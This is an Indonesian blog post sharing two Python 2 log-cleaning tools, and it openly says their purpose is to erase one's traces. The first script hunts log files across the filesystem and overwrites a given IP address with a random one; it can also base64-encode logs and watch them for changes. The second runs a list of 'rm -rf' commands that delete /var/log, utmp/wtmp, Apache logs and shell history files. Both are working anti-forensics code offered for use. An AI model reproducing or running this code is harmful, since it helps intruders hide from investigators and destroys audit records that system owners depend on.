Python Log Cleaner

Sabtu, 31 Maret 2012

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Share code untuk tools pembersih “log” dengan menggunakan phython, manfaatnya adalah anda bisa menghilangkan jejak sejenak dari log yang tersimpan.

Berikut ini codenya:
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#!/usr/bin/python
#PyLogcleaner uses the list given (logfiles) containing
# 274 logfiles and uses the linux find
#cmd to try and locate more logfiles to search
#for an ip address to replace with a random generated
#one. It can also encrypt/d3crypt a
#logfile and also can watch a logfile for modifications.
import os, sys, time, pwd, getopt, re, random, StringIO, commands
def title():
    print "\n PyLogCleaner v1.0"
    print "-----------------------------------------------"
def usage():
    title()
    print "\n Usage: python logcleaner.py <option>\n"
    print "\t[options]"
    print "\t -i <ip>: Ip to search for and replace"
    print "\t -e <file>: Encrypts logfile"
    print "\t -d <file>: Decrypts logfile"
    print "\t -w/-watch <file> <time to check> : Watches logfile for modification"
    print "\t -h/-help: Prints this menu\n"
def timer():
    now = time.localtime(time.time())
    return time.asctime(now)
def validater(logs):
    
    activeLogs = []
    print "[+] Validating:",len(logs),"logfiles\n"
    for l in logs:
        if os.path.isfile(l) == True:
            activeLogs.append(l)
    if len(activeLogs)>0:
        print "[+] Active Logs Found:",len(activeLogs)
        return activeLogs
    else:
        print "[-] No Active Logs Found"
        sys.exit(1)
        
def search(logfiles):
    
    print "\n[+] Searching:",ip,"\n"
    import mmap
    
    for file in logfiles:
        try:
            f = open(file, "rb+")
            size = os.path.getsize(file)
            if size >= 1:
                data = mmap.mmap(f.fileno(), size)
                loc = data.find(ip)
                #Lets not search a file with no data.
                if loc == -1:
                    #print "[+] File:",file,"|",size,"bytes"
                    #print "\t[-] IP not found"
                    data.close()
                else:
                    print "-"*45
                    print "[+] File:",file,"|",size,"bytes"
                    print "\t[+] IP found"
                    data.seek(loc)
                    data.write(randip)
                    print "[+] Replaced: ",ip,">>",randip
                    print "[+] New_Size:",os.path.getsize(file),"bytes"
                    print "-"*45
                    data.close()
        except(IOError), msg:
            pass
    print "\n[+] Done:",timer(),"\n"
                    
def findlogs():
    os.chdir("/")
    
    print "[+] Finding More Logfiles..."
    #Lets use the linux find cmd to fing more files containing log...
    logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
    if len(logz)>0:
        print "[+] Found:",len(logz),"extra logfiles"
        for log in logz:
            if re.search("Permission denied",log) == None:
                logs.append(log[:-1])
    return logs
    
def randip():
    
    A = random.randrange(255) + 1
    B = random.randrange(255) + 1
    C = random.randrange(255) + 1
    D = random.randrange(255) + 1
    randip = "%d.%d.%d.%d" % (A,B,C,D)
    return randip
def gettime():
    clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
    return clock
def getsize():
    size = os.path.getsize(logfile)
    return size
def modlast(logfile):
    try:
        sys.argv[3]
    except(IndexError):
        print "\n[-] Need a time in seconds (ex: 60)\n"
        sys.exit(1)
        
    print "[+] Analyzing:",logfile
    print "[+] Time:",sys.argv[3],"secs"
    print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
    print "[+] Size:",getsize(),"bytes"
    print "[+] Last Modified:",gettime()
    print "[+] Starting:",timer()
    old_time = gettime()
    while True:
        time.sleep(int(sys.argv[3]))
        new_time = gettime()
        if new_time != old_time:
            print "\n[+] File Modified:",new_time
            print "[+] New Size:",getsize(),"bytes\n"
            old_time = new_time
    
def encrypter(file):
    import base64
    print "\n[+] Encrypting:",file
    print "[+] Size:",os.path.getsize(file),"bytes"
    try:
        log2encode = open(file, "r").read()
    except(IOError):
        print "Error: Check your full path.\n"
        sys.exit(1)
    log2encode = base64.b64encode(log2encode)
    os.remove(file)
    time.sleep(2)
    f = open(file, "a")
    f.write(log2encode)
    f.close()
    print "[+] NewSize:",os.path.getsize(file),"bytes"
    print "[+] Done\n"
def d3crypter(file):
    import base64
    print "\n[+] Decrypting:",file
    print "[+] Size:",os.path.getsize(file),"bytes"
    try:
        b2log = open(file, "r").read()
    except(IOError):
        print "Error: Check your full path.\n"
        sys.exit(1)
    b2log = base64.b64decode(b2log)
    os.remove(file)
    time.sleep(2)
    f = open(file, "a")
    f.write(b2log)
    f.close()
    print "[+] NewSize:",os.path.getsize(file),"bytes"
    print "[+] Done\n"
if len(sys.argv) <= 1:
    usage()
    sys.exit(1)
if len(sys.argv) == 2:
    usage()
    sys.exit(1)
if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
    logfile = sys.argv[2]
    if os.path.isfile(logfile) == False:
        title()
        print "\n[-] Cannot Open File, Check Full Path!!!\n"
        sys.exit(1)
    else:
        title()
        modlast(logfile)
if sys.argv[1] == "-i":
    ip = sys.argv[2]        
    try:
        logs = open("logfiles", "r").readlines()
    except(IOError):
        print "Error: logfiles missing\n"
        sys.exit(1)
    title()
    print "\n[+] Starting:",timer()
    print "[+] Loaded:",len(logs),"logs"
    findlogs()
    randip = randip()
    print "[+] Generate Random IP:",randip
    search(validater(logs))
if sys.argv[1] == "-e":
    file = sys.argv[2]
    title()
    encrypter(file)
if sys.argv[1] == "-d":
    file = sys.argv[2]
    title()
    d3crypter(file)
Download Tools Disini:
Bisa juga menggunakan tools dari Vodork YCL berikut:
Code:
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#!/usr/bin/env python
import threading
import os
from time import sleep, ctime
print'''
  _ _ ___ _
    ( ) ( )( _`\ ( )
    `\`\_/'/'| ( (_)| |
   `\ /' | | _ | | _
   | | | (_( )| |_( )
   (_) (____/'(____/'og cleaner
Kinds Regard
                        ./VodOrkYCL.py
'''
lt = ctime()
print '[+] Starting log cleaner at %s\n\n' %(lt)
sleep(5)
class output_command(threading.Thread):
def __init__(self, command):
threading.Thread.__init__(self)
self.command = command
def run(self):
os.system(self.command)
print "[+]log was finish to clean......\n"
class input_command:
def __init__(self):
clear_add = ["rm -rf /tmp/logs","rm -rf $HISTFILE","rm -rf /root/.ksh_history","rm -rf /root/.bash_history","rm -rf /root/.bash_logout","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/log","rm -rf /var/apache/logs","rm -rf /var/apache/log","rm -rf /var/run/utmp","rm -rf /var/logs","rm -rf /var/log","rm -rf /var/adm","rm -rf /etc/wtmp","rm -rf /etc/utmp"]
for listt in clear_add:
try:
i=output_command(listt)
i.start()
except:
pass
if __name__ == "__main__":
objCaller = input_command()
Selamat mencoba, semoga berhasil!

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